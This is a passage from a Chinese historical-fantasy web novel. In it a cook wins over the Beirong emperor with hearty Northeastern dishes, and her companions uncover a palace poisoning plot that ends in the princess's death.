“我知道啊,那这和我伪装成厨子有什么关系?虽然我就是个厨子,但我也想当个有钱的厨子,你看马大哥束发用的都是纯金的簪子,实在不行我也可以加入招摇撞骗道士组,这白裙子真好看。”程六水小嘴叭叭叭道,“还有你为什么穿得跟个贼人一样?” “你马上就可以成为一个有钱的厨子了,北戎长公主不思饮食不进水米已有几日了,传唤了多少医士都无用,查不出有何毛病,只是食欲不振之故。故而长公主府广招厨子,只要能让长公主胃口大开,奖黄金百两。”张清寒从怀里掏出了个告示,一边读一边比划着百两黄金得有多少。 程六水一听眼睛都发光了,可激动到一半便眨巴了几下眼睛道,“这大夫都治不了,我得做啥菜才能行啊,你还不如派马大哥去呢,长公主稀罕他,他一去长公主肯定吃饭。” 马牧川一听这话,脸都红透了还要假装咳嗽道,“我与长公主只是君子之交,你莫要瞎说。” “哥,你和长公主真的没有?你实话说,我绝不取笑你,你看你辛苦了快三十年,是该成个家了,当北戎的驸马也没什么不好啊,两国不打仗的时候,你就是风光的驸马爷,两国打仗,那你就更了不得了,你是间谍啊!”马陶陶一蹦三跳高地拍着自家哥哥的肩膀,十分不厚道道。 “间谍!我叫你间谍!你看我不弹你脑瓜崩的。”马牧川上来就要追着马陶陶跑,本来在屋子里密谋的一伙人,吵吵闹闹地比在集市上还热闹。 张清寒无视这混乱的场面,紧接着说道,“六水你说得没错,等你做菜那日,我们就安排牧川,陶陶和四方出场,这长公主见了一定欢喜,定能吃下去几口饭,黄金百两就是你的了,你还能留在长公主府。 北戎皇室原本人丁还是很兴旺的,只不过如今这位皇帝登基前有些杀过了头,凡是挡他道的王子王孙全杀了,血雨腥风登上了皇位,这不就没几个人了,剩下的这些彼此也不甚对付,但同长公主关系都甚是不错,时时去公主府宴饮一二,你这不就能找着机会探听一二了吗?” “说得倒是有理,那少仲和玉雨打扮成道士作甚?”程六水摸着下巴,皱着眉毛百思不得其解道。 “我和玉雨自是有大用途的,北戎好巫蛊,但凡有个什么事就得占卜问卦,更是有巫医一说,那平常医士医不了的病,巫医便派上用场了。”杜少仲捋了捋那本就不怎么顺滑的胡子道。 “啊,那你俩是要给长公主看病是吧?”程六水恍然大悟道。 “是看病,但不是给长公主。”赵玉雨勉为其难道,神女一下子就跌下凡间了,变成了被迫打工的苦命人。 “那给谁看病?”程六水问道。 “给……北戎皇帝。”赵玉雨欲言又止道。 “什么?那北戎皇帝不是刚才还说,是个杀人如麻的家伙吗?”程六水一下子就急了,转头就揪着张 清寒的耳朵道,“这就是你殚精竭虑,想了好几天的法子?” “小姑奶奶,被揪了再揪就掉了。”张清寒求爷爷告奶奶才挽救了自己的耳朵,“他俩不是我安排的,是陛下安排的,陛下让少仲借巫医之名给北戎皇帝送一封密信。” “这陛下……也没什么好心眼子。”程六水愤愤不平道。 “六水不必担心,有大乾皇帝的国书,我和少仲便是来使,哪里会有事呢?再说还有东家呢。”赵玉雨安慰着六水道。 “是了,我到时便潜伏在北戎皇宫中,一来保他俩的安全,二来看看能否搜寻到你父母的踪迹。”张清寒点了点头道,他这身功夫以一敌百还是没问题的,而且玉雨和少仲身上随身带着大力摔炮以防不测。 “既然如此,那还等什么!我们这就分头行动!”程六水大无畏地往前走,推开了房门,率先上了一辆驴车,毕竟她这个穷厨子的马甲只能做驴车。 而马家兄妹就差坐八抬大轿了,乔四方作为保镖也骑着高头大马,在前面很是威风。那杜少仲和赵玉雨就更是甭说了,这家伙不坐驴不骑马,人俩直接骑个鹤,那鹤细长两条腿,跑得比马还快,嗖嗖嗖两道白影就没了。 张清寒见大家都走了,他这才关紧了房门,一眨眼的功夫便在空中消失了踪迹,只留残影于空中。 北戎阳光正好,照在人身上暖洋洋的,程六水赶着驴车还拐弯去买了几筐菜,她做了两辈子厨子自然晓得,甭管大厨厨艺时好时坏,若这饭想好好吃,那食材必得是精挑细选过的。 就比如那豆角子,有的人爱吃细长尖豆,有人就偏爱吃扁扁圆圆的,吃食与人一样,不过都是各花入各眼而已,爱吃了便是在锅里来回热个七八遍也还是爱吃的。 待她背着这几大筐食材敲开长公主府的角门时,那家丁还以为是送菜的呢,一问才知是今日来的新厨子,赶忙迎了进去。这长公主平日里脾气好得很,可如今这么日日吃不下饭,再性子好的人都得暴躁起来。 程六水对着眼前的厨房咽了咽口水,她进过很多厨房,从小饭店到大食堂,从幼儿园到酒楼,但从来没有一个后厨这么大的,光是灶台就有十几个,怕是平日里都是整日整夜不断火的,就是为了主子想吃时随时都有。 “这后厨你尽可用,原来府里的厨子们都去新造的厨房了,那里更大更宽敞些。”家丁招呼道,随后便离开了后厨,独留程六水一人刷刷耍菜刀。 程六水心中早就有了主意,这么大个厨房,不物尽其用真是可惜了了,她先是将新收的稻米淘洗干净,在大铁锅里焖蒸上,这人啊吃再多花里花哨的菜,也不如一碗大米饭来的实在。 紧接着从她那满满当当的筐里掏出了能有二斤扁圆豆角,半扇排骨,还有一堆土豆子,北戎这地方不似江南,就算是春夏绿油油的小菜也还是少,而且北戎人也不爱吃青菜,这豆角子就算是他们的青菜了。 她手起刀落哐哐哐几下就把这半扇排骨处理了,焯水去腥放到一旁,便开始起锅烧油,豆角子滋啦滋啦地在锅里翻炒起来,煸炸了不一会儿那绿油油的皮都金黄了,这才将排骨也倒进来过油。 到底是肉香,刚下锅屋里便全是令人食指大动的香气,这还没完呢大葱姜片干辣椒再来些八角,炒个天翻地覆,倒入黄酒清酱黄豆酱白砂糖,一下子豆角排骨都上了色,加开水就开始炖!等一会儿炖到时候,再放些土豆子,炖得软软的糯糯的,把排骨和豆角的香味都吃进去,拌上大米饭甭提多香了。 这边排骨豆角土豆子灶台炖上了,另外一边灶台的火也烧上了,土豆茄子大辣椒切成块,挨个过油煎得脆脆的,再蒜末炒香全部下锅,加入程六水秘制料汁大火收汁,那土豆茄子浸满了料汁再配上辣滋滋的辣椒,没一会儿就好了,这道地三鲜虽皆是素菜,可入口俱是鲜甜咸香,浓稠酱汁刹那间便侵袭了全部味蕾。 第114章 北戎长公主府把守甚是森严,今日更是,许是长公主食不下咽不思饮食,怕有些人浑水摸鱼来府中搅和,这才加强了把守,就连这早已不用多日了的后厨门口都站了两个侍卫。 而程·浑水摸鱼·六水却管不得那两个侍卫,她早已沉浸在自己是天下第一大厨的厨艺中无法自拔了,排骨炖豆角的热乎气咕嘟嘟就从大铁锅里钻了出来,满后厨都能闻得见,馋得门外那俩侍卫都相互对视了一眼,虽不到午时怎的就先饿了呢? 侍卫越闻,心思越跑偏,这么香的味一闻就是炖排骨,要是长公主还是吃不下,那是不是能赏给他们这些下面人啊,那可真是大饱口福了。 程六水不知屋外人的心思,她正在里脊肉做按摩,这里脊肉切成略微厚些的肉条,在蛋清黄酒盐巴里裹一裹,捶打按摩几下再来些地瓜粉掺水,肉糊糊就做好了,大油锅滋啦滋啦冒着小泡时正好下锅,炸得金黄酥脆后捞出,再炸一遍,外酥里嫩得很不放盐巴都好吃。 这样的炸肉配上椒盐辣椒,小孩子很是喜欢,可程六水却更想做个别的菜式,蒜末爆香辣椒胡萝卜翻炒均匀,调好的料汁一并倒进去,这料汁放了清酱白糖白醋地瓜粉,酸甜咸淡正好,最后倒入炸肉,那满满芡汁挂在里脊肉上,一道下饭好吃的溜肉段就做好了。 眼瞅着这溜肉段和地三鲜都做好了,那排骨豆角正炖着也快出锅了,程六水闲着也是闲着,在她那大菜筐里又翻了几下,取出了三个又大又红的西红柿,这柿子一看就是今夏的第一波,红得透亮想必很是多汁。 她接连打了五六个鸡蛋,筷子唰唰两下就在碗中打散,倒入锅中此时定是要小火的,不然那鸡蛋就得糊边了,眼见嫩黄成型了就赶紧捞出,葱蒜爆锅切成小块的西红柿下锅,翻炒一会儿盐巴白糖清酱尽放里,煮得咕嘟咕嘟都快成西红柿汤了,加入鸡蛋翻炒均匀,每一筷子鸡蛋都挂满了酸甜可口的汁水,就这一道菜程六水就不信长公主能扛得住,反正她是扛不住啊,这拌饭吃得多香啊。 另一边的尖椒干豆腐也快好了,干豆腐刚刚焯好水,锅里放八角花椒蒜片,再用五花肉炒出些油水,这时候干豆腐下锅,那勾好芡的清酱汁一并入锅,咕嘟嘟炖个半刻钟,干豆腐就入了味,最后加点滚刀块的青椒进去,醇厚豆香中又添了些开胃的清辣,当真是无人可挡。 这时那锅米饭也煮好了,米粒长色白一开锅竟压住了满屋的肉香菜香,果然是公主府啊这米怕不是只有北境的黑土地才能种出来。 “姑娘,要到午时了。”屋外侍卫大哥闻着味馋得直流口水,恨不得赶紧送到长公主处,再原封不动的送回来。 “好了好了,劳烦侍卫大哥送一趟过去。”程六水推开了后厨的门,咧着嘴将那五道顶顶下饭的菜端了出来。 这五道菜要是放到现代,那都是东北自助盒饭的扛把子,大街小巷哪家都是有的,这天底下雅致别出心裁的菜式那多了去了,可要论真真百吃不厌,吃了还想吃,那必得是这样的菜,老百姓都说好才是真的好。 北戎这地界程六水一进来便知,吃的穿的都与东北人民差不了多少,大口吃肉大口喝酒就连饭也得大碗吃,不然哪里能扛得住北方追着人脖领子嗷嗷灌的风呢,就算脸上吹成了两坨坨红,牙冻得直打颤,暖和和吃上这些个硬菜保准好,更何况是长公主这脾胃不和的小毛病了。 程六水话音刚落,屋外侍卫便不出声了,外门处竟鱼贯而入了几个内侍,先是用银针一一试了试,眼见未变黑才道,“厨子也随咱家走一趟吧。” 那门口一直守着的侍卫大气都不敢喘一声,瞧着程六水那懵懂无知的脸,就是想要出言提醒也不敢说啊,他见了这几位内侍便知今日这些饭菜回不来了,要是这饭菜有一星半点的差错,怕是这姑娘也要回不来了。 “是。”程六水微微行了一礼,倒是什么也没看出来,乐呵呵地跟着内侍走了。 这长公主不愧是皇室中数一数二的人物,长公主府极大,亭台楼阁轩榭廊舫,大气疏阔中竟也透着风雅婉约,给程六水看得都移不开眼睛了,这园子比之她在京中见的都要奢靡。她随着几位内侍候在屋外,而领头的那位内侍入内室传唤侍女们布菜。 一时间这内室静谧得吓人,半点声音都不见,程六水皱了皱眉头,想来这时辰马大哥应在这公主府上喝了好一会子茶了,怎的那公主连顿饭都不管吗?马大哥要是在,这会儿怕是里面都欢声笑语了吧。 马牧川确实在,只不过他看着眼前人,是半点都笑不起来,是坐也坐不得站也站不得,那满桌子的美味佳肴他是一筷子都不敢动啊。 眼前人半靠在塌上,夏日里竟披着块虎皮毯子,修长骨节分明的手指垂在虎皮上,琉璃珠般湛蓝的双眼敛起看不清神色,马牧川手脚都不知往哪放了,半晌才颤颤巍巍道,“要不吃点?” 那人嘴角忽而出现了抹冷笑,还未开口便咳了几声,咳得颇为撕心裂肺一口血沫子直直落在了帕子上。 马牧川这下子当真是张大了嘴瞪大了眼,反应过来后赶紧撇开头半眼不敢看那手帕,心里一个劲念叨着,完了完了这人怕真是命不久矣了。 “怕成这样?还想着娶我北戎的长公主,你们大乾人算盘打得真是好。”那人随意将那手帕扔在桌上,披着虎皮着里衣慢步走到饭桌前。 “倒是新鲜菜式,可惜长姐不在,不然她应是能爱吃。”他伸出筷子夹了块溜肉段,轻轻一抿那芡汁就在嘴里化开了,外酥里嫩的里脊肉香令他不禁食指大动,又夹了一筷子。 “……陛下,公主殿下这是去哪了啊?”马牧川是忍不住了,哭丧个脸问道,原这人竟是那病入膏肓的北戎皇帝拓跋泽。 马牧川按照张清寒的精密部署,坐着马车就来了,本是带着妹妹假模假式地来叙旧的,可惜到了公主府就变了天,马陶陶和乔四方两人连公主府的门都没进去,直接被内侍请了出去。 而他一看情势不对,赶紧就想一起逃,结果他直接被架了进来,一进来就同这位暴虐成性的的帝王大眼瞪小眼瞪了快一个时辰了。 “大乾皇帝这回派你来北戎,就是为了找长姐的?”拓跋泽含糊不清道,他这病发得突然,食不知味许久了,可这桌子菜个顶个合他胃口,豆角子炖得软烂入味土豆绵密得很,拌在这大米饭里比那排骨都香。 “我本就是生意人,年年往来大乾与北戎之间,幸蒙长公主殿下赏识,自是来了北戎要拜访一二。”马牧川小心翼翼地解释道。 拓跋泽听了他这话,并未言语,只是又舀了一勺西红柿鸡蛋,酸酸甜甜的真香啊,“今日的厨子呢?” 内侍一听便赶紧到殿外宣人进来,那程六水在外面正在放风,冷不丁被叫了进去,自是急急忙忙地倒地就拜,一看就是古早电视剧看多了,差点就要五体投地了,“草民见过长公主殿下。” 马牧川一听这话就倒吸一口凉气,毫无希望地低下了他的脑袋,算了这局面他是收拾不了的,到底谁能给他解释解释,为何北戎的皇帝要在长公主府待着?那长公主又去哪了? “呵,礼数不错,就是眼神不行。”拓跋泽咬着一块排骨道。 程六水这才抬起头来,定睛一瞧都傻眼了,天啊哪来的高鼻蓝眼混血建模怪,小心脏都漏跳了一拍,这北戎难不成是个女尊国?长公主实际上是个男的? “你瞅着孤作甚?”拓跋泽吃得正欢,心情较方才好了不少,嗤笑一声道。 “瞅你长得好看。”程六水一时不察,真话顺着嘴边就溜了出来,说罢赶紧捂住了自己这张贼不听话的嘴。 “饭做的不错,人也有趣,跟孤回宫吧。”拓跋泽许久未听过这般直白的话了,没忍住笑了出来。 这一笑又笑得祸国殃民,程六水愣了两下,只听见了前面一句“饭做得不错”,随即赶紧拜道,“多谢殿下夸赞。”这下子心里没什么混血哈士奇了,全是对一百两银子的渴望与向往。 “咳咳咳!!!不是殿下,是陛下!”马牧川坐不住了,一个劲地给程六水使眼色,盼她能早点意识到现实与计划的差距是天壤之别啊。 陛下?程六水眼珠子一转,在古代陛下是不是只能称皇帝啊?她那双忽闪忽闪的大眼睛终于清明了些,从贪财好色中挣扎了出来,面露惊色嘴里的片汤话吓得一个劲地往外蹦,“草民草民,草民只是一乡野厨子,哪里比得上宫中御厨,进宫怕是要丢人现眼了。” 拓跋泽自然也不是草包,随意地瞅了眼马牧川便道,“这厨子你的人?” 马牧川连忙头摇得跟个拨浪鼓一样,连连摆手大声道,“不是不是,绝对不是我的人啊!我冤枉啊!” 第115章 而另外一头驾着鹤在路上狂奔的招摇撞骗仙人显然也没那么顺利,他们本就是张清寒寻了北戎潜藏多年的隐秘关系送进宫的,入了宫便被引着去给皇帝瞧病。 可惜走到了一半,便有一行人匆匆而来,在那内侍身旁嘀咕了两句,只见内侍顿时脸色巨变,转身便要带着杜少仲和赵玉雨往回走。 “今日陛下有些要事,两位仙人不若先在宫中住下,待陛下明日召见。”内侍挤出了一丝笑道。 “如此……如此也好。”杜少仲与赵玉雨对视了一眼,只得点头称是。 他们二人安置在一后花园南侧的一偏殿,此处极为僻静但收拾得却很妥帖,处处合人心意,毕竟这回他俩装的是得道高人,放在何处都不能被慢待了去。 “这北戎也不像京中传说的那般粗野不堪,我瞧着别有一番味道,就是这金子用得着实是多。”赵玉雨随手捞了个杯子倒茶,杯子是金器,茶是奶茶。 “这北戎都城西边便是好大一座金矿,金器自然用得多,京中那些人惯会附庸风雅的,殊不知到了战乱灾荒,也只有这黄白之物能派得上用场。”杜少仲端详着金杯说道。 “金矿?那这北戎岂不是要富得流油。”赵玉雨好奇道。 “是比前些年富了不少,故而与我大乾通商往来甚为频繁,只不过那西边的金矿离北戎都城有些近,是不是都能听到轰隆隆的开采声。”杜少仲解释道,他虽未来过北戎,却也是听了很多见闻的。 “哐哐哐!”杜少仲话音刚落,便听院外声响,赵玉雨不禁讶然道,“你这嘴啊怕是真成了仙人了,刚说完就有声了。” 杜少仲一皱眉,这声怎么不太像炸矿的声音呢,未免离得也太近了些吧?结果一抬头就见光着胳膊的乔四方领着穿金戴银的马陶陶走了进来。 这俩人许是蹭上了城墙不少灰尘,颇有些灰头土脸的,大摇大摆地就走了进来,你一杯我一杯奶茶喝得痛快,马陶陶才道,“你们见着那拓跋泽了吗?” “没有啊,你们见到长公主了?六水留在公主府了吗?”赵玉雨无辜地摇了摇头,随后接着问道。 “没有,我们被拦下了。”乔四方愤恨道,这也就是在北戎了,要不然他直接闯公主府了。 “也就是说,我们四个该见的人一个也没见到?”杜少仲皱眉道,“清寒这个计划是不是有点跑偏?那你们见到清寒了吗?” 马陶陶两手一摊,丹凤眼上挑着,一脸控诉道,“没有啊,我们被那公主府请了出来,就去那旧宅里找东家了,那旧宅锁得严实得很,这接连吃了两个闭门羹,我们就想着一不做二不休,绝对不能再吃第三次了,我们就来找你们了。” 杜少仲听着听着就抿嘴苦笑道,“你们是说,你们不翻长公主府的墙,不翻你哥哥的旧宅,无处可去就只好来翻北戎皇宫的宫墙了?” “很好翻的,比大乾皇宫好翻。”乔四方撇了撇嘴乐呵呵道。 “好好好,你们你们……”杜少仲话还 没说完,就听到一声隐隐约约的女人叫喊,凄厉异常。 “你们听到了吗?”他竖起耳朵又听了两声,似是听不太清,却又好似能听到。 “听到什么?少仲你不会在这装神仙招摇撞骗,结果真撞鬼了吧?我可听说这北戎皇宫惨死的人都能摞到城墙那么高了。”马陶陶小声关切道,只不过这关切八成都是假的。 “不不不能吧,我真听到了,四方你听见了吗?”杜少仲一下子就傻眼了,方才还想吐槽乔四方和马陶陶的话全浑忘了,忍不住缩了缩身子。 “不就你在这儿说话吗?听到啥呀?”乔四方差点没憋住乐道。 “啊呀呀呀你们莫要吓我啊,这假神仙也不是我要扮的,冤有头债有主,都是清寒啊,可别来找我啊。”杜少仲耳边女人的尖叫不见停,可就他自己一人听见了,怎能不怕?怕得直接蹲地上了。 “哈哈哈哈哈哈!”见了杜少仲这死出,其他三人忽然大笑起来,捂着肚子笑个没完。 这下子杜少仲才知自己上了当,赶忙站起来一个个的要报仇,整个偏殿瞬间混乱了起来,你追我赶得不亦乐乎,不知道的以为他们还在酒楼里待着呢。 张清寒“嗖嗖嗖”半个时辰便将这宫里摸了个遍,摸到一后花园南侧时,就听女人尖叫中掺杂着哈哈哈哈大笑,乍一听就十分瘆人,况且此处少有人来,午后刮了北风很是悲戚。 他悄悄落在那琉璃瓦上,掀开一片便瞧见这正殿的地上趴着一个疯女人,发髻散了止不住地摔东西,而那些侍卫就在门口守着,一步不敢进去。 再定睛一看这女人的脸,张清寒背后汗毛瞬间立起,他认识这张脸,她为什么会在这儿! 张清寒罕见地慌乱了起来,却还是悄无声息地离开了此处,进了近处的某个偏殿,他耳力好得很自然听得出那笑得直抽抽的是他的伙计。 “吱呀”一声,偏殿大门推开,刹那间欢声笑语没了,杜少仲正襟危坐在藤团上敲木鱼,一旁的赵玉雨则紧闭双眼,一颗颗念珠拨弄着念着道经,而乔四方带着马陶陶直接坐到了横梁上,谁也看不出来踪迹。 “行了别装了,你俩一个木鱼一个道经,都不是一个地方的!还有你俩给我麻溜下来!”张清寒急得红了眼,大步流星走向前,那殿门被他锁得死死的。 “老大你也来了,哎呀我还以为是侍卫呢。”乔四方带着马陶陶“嗖”一下跳了下来,轻飘飘地就落了地。 “说,你们今日都见了谁?做了什么?”张清寒冷着一张脸,刻意缓着呼吸道。 结果这四人全盘脱出后,那张清寒的脸色更是没法看了,他紧闭双眼又瞬间睁开道,“今日宫中守卫极为森严,侍卫多添了足足一倍,可拓跋泽惯用的内侍却不见了,你们见不到拓跋泽,应是他已不在宫中。” “他不在宫中,这宫里为何守卫更加森严?”赵玉雨疑问不解道。 “因为这宫中有他要藏的人,我见到了长公主。”张清寒强忍着一口气道。 “什么?那哥哥和六水不是白进公主府了吗?”马陶陶目瞪口呆震惊道。 “等会儿,若是长公主不在,那牧川应是也一并被拦住啊,同陶陶他们一同回来便是了,那六水更不用去做菜了,明日后日再去便可。”杜少仲到底是在官场待过的,一语中的道。 “我猜,是因为公主府有旁人坐镇,而长公主却被关在宫中发疯。”张清寒严肃道。 “发疯?长公主怎么会发疯?”乔四方不可置信道。 “你们方才听到的女人尖叫就是长公主的声响,这皇宫里大半数宫殿都是空着的,这地方僻静少有人来,她若是犯了事被关在这也不足为奇。”张清寒长叹一口气道。 “拓跋泽生性暴虐,囚禁自己的姐姐,倒也是他能做出的事。”杜少仲点了点头道,紧接着瞪大了眼睛转头看向杜少仲,他一下子冷汗直流。 “那拓跋泽不在宫中,他在长公主府?”杜少仲一字一句说出了这个最不能接受的猜想。 张清寒梗着脖子久久未言语,最终只能道,“应是这样,我走一趟长公主府,四方你保护好大家,若是见我发出信号,那你便带着大家逃出去。” 众人皆是脸色煞白浑身打寒颤,大乾仁政治国,他们过惯了安居乐业的逍遥日子,而在这北戎他们才真切地感受到了人命有多不值钱,连本国的长公主都能被逼得发疯,更何况是他们呢。 羊入虎口的马牧川和程六水此时倒是不知长公主已然疯了,他俩正在拓跋泽面前吹彩虹屁编瞎话。 “陛下,小人是与马大哥见过,小人本是大乾人士,可实在是过不下去了,这才想来北戎讨口饭吃,路上遇到马大哥他见我可怜,就给了我点盘缠,我才能一路顺顺利利地到了咱北戎都城。我实在是穷怕了,兜里就只有九个铜板了,听说长公主府在招厨子,能给一百两我就想试试,成了我就有钱了,不成还能捞着一顿饱饭吃。”程六水跪在冷冰冰的地上,瘦瘦小小一坨,抽噎着哭诉着。 那葡萄大的双眸成串的泪水止不住地流啊,说着说着就连那父母失踪,一个人背着父母的债在江湖讨生活,偏还遇上了大乾叛乱食不果腹衣不蔽体的瞎话都说了出来。 拓跋泽一开始还狐疑得很,可见这丫头凄凄惨惨戚戚说了这许多,尤其是说到寻父母之事更是悲从中来,差点抽过去,他这见惯了骗子的人,都不禁一愣心中多了几分悲悯。 “陛下,小人命如草芥,只想找个地方做工再找个夫婿,在北戎这么好的地方有个家啊。”程六水梨花带雨我见犹怜道。 马牧川听得哑口无言,那嘴巴惊得都合不上了,六水这睁眼说瞎话的本领真是令人叹为观止啊。 拓跋泽揉了揉饱饱的肚子,又瞧了眼马牧川这副蠢模样,这才冷笑道,“行了别哭了,大乾容不下你,北戎没这么多讲究,有的是酒楼给你做工,有的是好儿郎给你当夫婿,待会就给你找个酒楼干活,孤身边的侍卫你看上哪个当夫婿,就抓哪个吧。” 第116章 迎着烧透人的艳阳,顶着逆流吹过的疾风,这座长公主府潜伏着无数暗卫,却未有一人能拦住张清寒,他就如此无声无息地落在了琉璃瓦上,那冷漠中带着无奈的声音在屋檐下响起,直接给张清寒怔愣地差点脚底打滑。 什么酒楼?什么找夫婿?怎么他就离开了这么一会儿,六水就要跟人跑了。 “民女谢陛下隆恩。”程六水面不改色心不跳,恭恭敬敬地五体投地,拜得那叫一个老实认真。 “至于你,听说我长姐心悦于你,你要不要同我长姐作伴?”拓跋泽并未看程六水,而是弯唇一笑,挑起眼眸邪气地看向了马牧川。 “草民草民,草民怎敢攀附公主殿下。”马牧川骨子里还是有几分谨慎的,今日处处透着诡异,为今之计便是先从这拓跋泽眼皮子底下溜走,方可再言以后。 “算不得攀附,你是大乾人,我长姐喜欢大乾得很,你可不是她勾搭的第一个了。”拓跋泽似笑非笑道,如同刽子手平静地望着砧板上蹦跶不了几时的鱼。 马牧川闻听此言,脊背瞬间僵直了起来,低头几瞬才开口道,“草民只是个生意人,与长公主殿下确实往来不过钱货之事。” “孤见过谢清安,也就是如今你们大乾的谢皇后,自然知道你是她的心腹,一派的口腹蜜剑两面三刀。”拓跋泽冷笑了声道,“你们都是聪明人,我长姐亦是,长姐用你赚钱,你用长姐的人脉方便在北戎行事,不过是各取所需罢了,也许这互利互惠中总有那么一二情意,这才让你钻了空子,竟诱得长姐私自将那西边的金银山都让你开采,你们大乾真是打得一手的好算盘啊。” 话音刚落,剑锋直指马牧川咽喉,电光火石间马牧川还来不及躲开,便被方才还在趴着的程六水一脚踹倒在地,一缕乌发直直落地干净利落。 “呵果然是一伙的。”拓跋泽显然身子确实不怎么样,那把剑被他紧接着当了拐杖用,方才那一剑已是用尽了他七八分气力,双目下一片乌青,方才坐着不显,如今站了起来才见其如根笔直竹竿,虎皮下更是瘦骨嶙峋。 “外臣见过陛下。”张清寒一手一个侍卫,此时院落中早已无人看守,他目光冷峻地走了进来,半拱行礼尽了礼节却无半点谄媚。 “呦真是热闹,怎么大乾的钱袋子,大乾的刀把子都来了,是瞧着孤命不久矣,特意来送孤一程的?”拓跋泽透过敞开的大门,只见自己那些不争气的手下全躺倒了,倒也不急。 他自是帝王气派,其风骨更是桀骜不驯,自顾自地坐了下来,吃了两口炸得外酥里嫩溜肉段道,“这炸肉有点凉了,凉了再怎么热也不是那个味了。” “这个叫溜肉段,我再溜一遍裹着料汁就还是那个味……”程六水方才为了让不甚灵光的马牧川躲过那把剑,脚踹得生疼,她一见张清寒来了,顿时卸下了心中所有戒备,光顾着心疼自己的脚了,嘴边的话一溜烟就跑出来了。 拓跋泽忽而抿嘴笑出了声,“怎么着,再带了个大厨来,给我践行?让孤黄泉路做个撑死鬼?”笑着笑着便咳出了好几口血,那血乌黑发青一看就是毒 入肺腑病入膏肓,他却仍是不在意地擦去了那血沫子,为这张本就阴鸷冷漠的面庞更添几分鬼气。 “外臣绝无此意,此行外臣只是有家事要处理,吾皇所派秘使已在宫中待陛下召见。”张清寒微微眯起双眼,这拓跋泽身子骨差成这样,他又连个一子半女都没有,若是他有不测,那北戎的天就要变了,北戎与大乾定下的和约便再也做不得数了,百姓们好不容易有的太平日子怕是又要付诸东流。 “家事?家事都来长公主府了?怎么我长姐同你也有一腿?”拓跋泽放肆大笑着,盛夏日头下竟是彻骨的寒意。 “陛下,长公主向来洁身自好,从未让草民私自在金银山上牟取暴利,更不会随意与人交往。”马牧川实在是没忍住,梗着脖子为长公主辩解道。 “你倒也是个痴情人,既是如此,孤便不追究你了,反正长姐已经疯了。”拓跋泽摇着头哼着曲,仿佛在说什么明日下雨下雪下冰雹。 “你说什么!”马牧川这下子真是急了,站起身子就要去质问拓跋泽,只不过被张清寒一把又给按下来了。 “陛下,既言到此处,外臣便不得不直言,万望陛下海涵。”张清寒拱手又道,“臣家中双亲失踪多时,辗转多处才知竟被藏身于北戎,臣这才北上寻亲,确与长公主无关。然陛下囚禁长公主于宫中,臣须要问上一问,是否与大乾前些日子的叛乱有关?是否与陛下您的康健有关?” 世人皆知拓跋泽杀手如麻嗜血成性,但张清寒亦知此人是个极重情义之人,当年尚是军中无名之辈的丰将军,卧底于北戎宫廷,帝王枕榻刺探情报助大乾全胜,而后不仅能全身而退,连丰将军与萧墨成亲之际,这拓跋泽竟也派人送来厚礼,虽然萧墨气得牙根痒痒,却也不得不承认拓跋泽并不是个冷血无情之人。 而长公主本就是从龙之功,拥戴拓跋泽上位,断不会因为微末小事,圈禁逼疯至此,那便只能是滔天之罪。 “呵,这是你们皇帝要问的?”拓跋泽不要命地给自己倒了一大杯酒,牛饮而尽。 “吾国陛下甚是担忧您的身体,陛下知您断不会违背签订之约,定是有小人作祟,只不过这小人当真是长公主吗?”张清寒再次发问道。 “你们不信?来,你们都来会会这个疯女人。”拓跋泽拄着剑,疯疯癫癫摇摇晃晃地向前走去。 “啊啊啊啊啊啊啦啦啦啦哈哈哈哈哈!”这殿里的声响就没有停下来过,忽然大门打开,光亮顺着门缝钻了进来。 只见那本该雍容华贵的长公主发疯般冲向拓跋泽,伸出手就要将拓跋泽的脖子掐断。 “嫣然!是我啊!你怎么了嫣然!”马牧川大步走上前,抓住了长公主苍白的手,心如刀绞泪水在眼里打转道。 长公主本来仍要发疯地掐住马牧川的脖子,却见眼前人两行清泪,猛地收了力气,脑海中划过短暂清明,“我不认识你我不认识你,我要杀了你拓跋泽。” 她再次冲向了拓跋泽,门外侍卫将其团团围住拔刀相向,却也吓不住一个疯子。 “拿上来。”拓跋泽冷冰冰地看向长公主,仿若看向一个死人。 内侍颤颤巍巍地端了一瓮汤进来,那这瓮还没开盖便隐隐约约香气扑鼻,更别说一打开怕是世间山珍海味汇聚于此也不为过。 程六水微微动了动鼻子,真香啊定是用老母鸡吊的汤,加以燕窝鱼翅海参鲍鱼火腿鹿肉煨煮,最后取汤之精华,再加入些盐巴胡椒粉白砂糖,还有还有,怎么这汤还有硫磺硝石的味道呢??? “等会!你这汤是什么汤?”程六水直愣愣地上前拦住了内侍。 “哦?大厨也想尝尝?”拓跋泽嗤笑道。 “这汤喝不得,这里面加了什么你知道吗?”程六水急了,这可是人命关天的事,哪怕就是如此少量的硫磺硝石也是对身体有碍的。 “你知道?可惜啊孤不知道,孤不思饮食许久,长姐好心献此汤于孤,当真是令孤胃口大开,开着开着孤就成这样了,真是有意思得紧啊。”拓跋泽挥了挥手,那汤直接就灌进了长公主的腹中。 “嫣然!”马牧川虽不知那汤里有什么,却知定是要人性命的东西,他奋力上前却直接被侍卫打断了一根肋骨。 “牧川!!!”长公主见心爱之人倒地不起,用尽全身力气挣扎向前咒骂道,“拓跋泽你这个杀人如麻的衣冠禽兽,我就是做鬼也不会放过你!” “长姐,是你先对我下的手?那句话怎么说来着,以其人之道还治其人之身。”拓跋泽十分平静道。 “你违背祖宗基业,与那南蛮子议和,偏安一隅有何出息,我当初真是瞎了眼才扶你上位,要是没有你,大乾早就是我们的囊中之物了。”长公主狠毒地看向在场的每个人。 “所以你便与南越联手,引我大乾叛乱?”张清寒望着这个满是野心的女人,野心无错,错就错在罔顾百姓性命,泽国江山入战图,生民何计乐樵苏。 “下了多年的棋,就差把你毒死,整个北戎便能挥师南下,没想到你命真大啊。”长公主对着拓跋泽狂妄大笑,恨不得将他剥皮抽筋粉身碎骨。 说罢只是回头再望了眼马牧川后,毅然决然地撞柱而去,顿时间鲜血横流没了气息。 “嫣然!!!”整个大殿满是血腥气,以及马牧川撕心裂肺地叫喊。 “咳咳咳。”拓跋泽垂下眼眸,不住地咳血,了无生趣道,“行了,喊什么喊,不过是死了而已,今日她死,明日就轮到我了。”—— 作者有话说:“泽国江山入战图,生民何计乐樵苏。”出自唐代曹松的《己亥岁二首·僖宗广明元年》 第117章 拓跋泽说着说着直接一头栽倒在地,面如灰纸满口满鼻鲜血喷洒在宫殿之上,而那头破血流而亡的长公主死都不肯睁眼,似是要看着这位皇弟陪自己上路。 “御医!御医!”最先冲上来的是拓跋泽身边的内侍,急得满头大汗地呼救着。 